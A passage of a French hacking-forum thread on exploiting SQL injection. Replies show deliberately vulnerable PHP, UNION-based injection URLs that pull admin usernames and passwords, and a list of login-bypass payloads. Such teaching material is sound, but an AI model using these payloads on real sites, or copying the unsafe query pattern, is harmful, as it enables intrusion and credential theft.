• STATISTIQUES
  • Il y a eu un total de 0 membres et 31133 visiteurs sur le site dans les dernières 24h pour un total de 31 133 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Newbie Contest
    Crackme: 35, Cryptographie: 49, Hacking: 27, Javascript/Java: 17, Logique: 31, Programmation: 23, Stéganographie: 53
    Challenges
    [FR] frameip
    le site de partage des connaissances du monde TCPIP
    Protocole
    [FR] PHP France
    Pour tout savoir sur le PHP, en français. Vous trouverez des tutoriels, des exemples, des astuces, toute la do...
    Hacking
    [EN] Net Force
    Javascript: 9, Java Applets: 6, Cryptography: 16, Exploits: 7, Cracking: 14, Programming: 13, Internet: 15, Steganograph...
    Challenges
    [EN] Big-Daddy
    Big-Daddy est site internet communautaire avec un effectif diversifié, y compris des artistes, des programmeur...
    Hacking
    [EN] xda-developers
    Très bon site pour les gros bidouilleurs de smartphone de windows à androïd et de Apple jusqu'...
    Phreaking
    [EN] phrack
    Lot's of stuff !
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
Comment exploiter une faille SQL Injection
10-06-2011, 19h01 (Modification du message : 22-10-2011, 01h54 par Di0Sasm.)
Message : #16
AntoLeNice Hors ligne
Newbie
*



Messages : 13
Sujets : 1
Points: 0
Inscription : Jun 2011
Comment exploiter une faille SQL Injection
humm, si les injections SQL ne fonctionne pas, tout se que je vois, c'est que si le site utilise des cookies, tu peux essayer de les modifier pour changer la connexion au site. Sinon, je vois pas trop, Cyber pourrait peut-être en dire plus.
+1 (0) -1 (0) Répondre
27-12-2011, 12h39 (Modification du message : 01-01-2012, 23h44 par Di0Sasm.)
Message : #17
mercurial17 Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Dec 2011
Comment exploiter une faille SQL Injection
Merci ! Je ne connais pas très bien le PHP et pourtant j'ai compris tout ton tuto, c'est super bien expliqué. Par contre j'ai une question : Il me semble que cette faille est très connue donc je voulais savoir s'il existait encore des sites qui présentaient cette faille ?
+1 (0) -1 (0) Répondre
27-12-2011, 14h54 (Modification du message : 01-01-2012, 23h52 par Di0Sasm.)
Message : #18
Adns Hors ligne
Newbie
*



Messages : 4
Sujets : 1
Points: 0
Inscription : Dec 2011
Comment exploiter une faille SQL Injection
Bonjour,

L'article est plutôt clair et précis Smile
Si je peux me permettre quelques remarques Smile

Citation :Prenons exemple sur un formulaire d’authentification, puisque c’est là que ce genre d’exploitation est la plus intéressante.

Il y a aussi une autre grosse utilisation de ce genre de faille. C'est de pouvoir afficher des données qui ne nous sont pas accessibles.

Je suis sur que toute personne ayant déjà regardé de plus près une URL a déjà vu ce genre de chose :

Code :
http://site.com/article.php?id=255

Et bien ici aussi il existe une potentielle faille.

Voyons un code vulnérable et assez simpliste:

Code PHP :
<?php
    
    $id 
$_GET['id'];
    
$res mysql_query("select titre, contenu from article where id='".$id."'");
    
$row mysql_fetch_array($res);
    
    echo 
"<h2>".$row['titre']."</h2>";
    
    echo 
"<p>".$row['contenu']."</p>";
    
?>

Ce code devrait parfaitement fonctionner jusqu'à ce qu'un petit malin vienne jouer avec la variable $id qui n'est pas sécurisé.

Pour vérifier que faille il y a il suffit de tester le caractère ' a la fin du chiffre qui représente l'id de l'article.

Exemple :
Code :
http://site.com/article.php?id=255'

Si une erreur se produit lors de l'affichage de la page cela signifie que la faille existe. il ne reste plus qu'à l'exploiter.

Pour cela il faut jouer avec un mot clé de SQL qui est UNION ALL.
Dans une requête SQL UNION ALL permet d'obtenir toutes les données de plusieurs tables.

La première étape lors de ce genre d'exploitation consiste à "brute-forcer" pour connaitre le nombre de champ utilisé dans la requête à modifier.

select titre, contenu from article

Ici je pars du principe que la faille se trouve sur un CMS et donc que l'on a accès à la structure de la table. Lorsque ce n'est pas le cas il existe différentes manières pour les obtenir...

Revenons en à notre brute-force et passons à la pratique.
Code :
Test 1 : http://site.com/article.php?id=0' union all select 1 from article --

Explications :
  • l'apostrophe permet de fermer la chaine de caractère et ainsi injecter notre code.
  • UNION ALL permettra d'afficher les données d'une autre table.
  • -- permet de mettre la suite de la requête en commentaire pour qu'elle ne soit pas exécutée.
  • le fait de mettre un 0 comme ID permettra d'afficher uniquement les données de l'autre table et non les données relative à un article existant.

Cette requête nous renverra une erreur car la requête initiale utilise 2 champs : Titre et contenu.

Code :
Test 2 : http://site.com/article.php?id=0' union all select 1,2 from article --

Bingo !!
Cette requête affichera dans la page 1 à la place du titre et 2 à la place du contenu
Dans ce cas là ce fut plutôt rapide car il n'y avait que 2 champs, mais cela peut-être beaucoup plus long s'il y a plus de champs.


Une fois arrivé ici il suffit de remplacer les 1 et 2 par les données sensibles qui nous intéressent comme les identifiants de connexion d'un admin Wink

Exemple :

Code :
http://site.com/article.php?id=0' union all select user,password from users --

En espérant avoir été clair Smile

Adns
+1 (0) -1 (0) Répondre
27-12-2011, 15h35 (Modification du message : 01-01-2012, 23h45 par Di0Sasm.)
Message : #19
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
Comment exploiter une faille SQL Injection
mercurial17 a écrit :Il me semble que cette faille est très connue donc je voulais savoir s"il existait encore des sites qui présentaient cette faille ?

Je dirais que les injections SQL réprésentent 90% des failles web Wink
+1 (0) -1 (0) Répondre
29-12-2011, 15h26
Message : #20
mercurial17 Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Dec 2011
Comment exploiter une faille SQL Injection
ah tant que ça ?! merci d'avoir répondu
+1 (0) -1 (0) Répondre
10-06-2012, 14h09
Message : #21
ThibauT Hors ligne
Keyboard not found, press F1 to resume.
*



Messages : 348
Sujets : 6
Points: 69
Inscription : Jun 2012
RE: Comment exploiter une faille SQL Injection
Bravo pour ton tutoriel qui explique une faille pas si facile que ça à exploiter, de manière très ludique. D'autant plus que cette faille est très présente.
Martin Golding a écrit :"Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live."

Gnomino a écrit :et quand je suis payé je fais ce qu'on me demande :B
+1 (0) -1 (0) Répondre
15-09-2012, 10h30
Message : #22
load@data Hors ligne
ѕє¢υяιту ιѕ נυѕт αη ιℓℓυѕιση



Messages : 42
Sujets : 8
Points: 8
Inscription : Sep 2012
RE: Comment exploiter une faille SQL Injection
Merci, Mais il faut savoir que le serveur side, peut reconnêtre une requête corrompue et d'autre non donc je vous laisse avec un petit choixde scripts à injecter dans le champs :

Citation :') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--
foo'+OR+'1'='1

Ceci sont les plus connues !

Load,
+1 (0) -1 (0) Répondre
18-06-2013, 14h50
Message : #23
LeuhVa Hors ligne
Membre
*



Messages : 35
Sujets : 3
Points: 2
Inscription : May 2013
RE: Comment exploiter une faille SQL Injection
Plop !
J'ai up un article de Nikoskoda(hzv) qui offre un autre tour d'horizon sur les sql !
ça vaut l'coup d'oeil !
c'est là !
+1 (1) -1 (0) Répondre
18-06-2013, 14h53
Message : #24
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: Comment exploiter une faille SQL Injection
Merci LeuhVa pour le partage, ça a l'air vraiment complet comme article :)
+1 (0) -1 (0) Répondre
18-06-2013, 15h55
Message : #25
WizOut Hors ligne
Black Slave Coder
*



Messages : 111
Sujets : 13
Points: 14
Inscription : Apr 2012
RE: Comment exploiter une faille SQL Injection
J'ai un autre article enfin post pour compléter le tous pour bypass les sécurités

http://top-hat-sec.com/forum/index.php?topic=2049.0
"Il existe deux choses infinies : l'univers et la bêtise humaine" Einstein.
PHP/MySQL (POO & PDO) : OK
HTML5/CSS3 : OK
JAVA : En cours
+1 (0) -1 (0) Répondre
02-12-2014, 23h55
Message : #26
Ambrosios Hors ligne
C'est moi :D
*



Messages : 8
Sujets : 1
Points: -6
Inscription : Oct 2014
RE: Comment exploiter une faille SQL Injection
Merci CyberSee, encore un super tuto Big Grin
J'utilise PDO avec des fonctions prepare() et execute() pour gérer les variables. Ce risque d'injection SQL est-il toujours présent ?
+1 (0) -1 (0) Répondre
03-12-2014, 00h12
Message : #27
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: Comment exploiter une faille SQL Injection
oui les injections sql ça existe toujours et ça marche bien, attention au déterrage de topic, le dernier post date de +1.5 an tout de même (et on a pas revu CyberSee depuis près d'un an accessoirement)
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (0) -1 (0) Répondre
04-09-2015, 21h21 (Modification du message : 04-09-2015, 22h29 par Di0Sasm.)
Message : #28
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 157
Inscription : Jan 2012
RE: Comment exploiter une faille SQL Injection
"coucou" accessoirement lol
Au risque de me répéter, la règle du déterrage de topic ne s'applique pas à la zone des tutos ;-)
Code PHP :
<?php
$pape 
"pape"; echo $pape
// Le $pape en string!
?>
+1 (0) -1 (0) Répondre
05-09-2015, 11h03
Message : #29
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: Comment exploiter une faille SQL Injection
"coucou lol"
hésite pas à écumer tous les topics du siècle dernier surtout, c'est super utile Big Grin
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (2) -1 (0) Répondre
10-09-2015, 16h05
Message : #30
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 157
Inscription : Jan 2012
RE: Comment exploiter une faille SQL Injection
C'est "utile" dans l'optique que le dernier message posté ne soit pas un découragement pour les questions sur ce tuto où n'importe quel autre enfaite ;-)
Code PHP :
<?php
$pape 
"pape"; echo $pape
// Le $pape en string!
?>
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Comment est exploitée une faille XSS CyberSee 37 3,359 01-09-2015, 16h07
Dernier message: CyberSee
  [Tuto]Faille CRLF OverDreams 15 1,211 18-06-2013, 12h33
Dernier message: Hypnoze57
  [Faille WEB] LFI Swissky 10 841 25-02-2013, 22h04
Dernier message: InstinctHack
  [Faille Web] Full Path Disclosure Swissky 4 562 07-12-2012, 08h52
Dernier message: Shirobi
  Comment utiliser Metasploit EpicOut 4 409 15-09-2012, 20h47
Dernier message: Swissky
  Comment fonctionne les attaques de type IP-Spoofing Apophis 4 599 18-02-2007, 12h38
Dernier message: shutdownfuri

Atteindre :


Utilisateur(s) parcourant ce sujet : 2 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut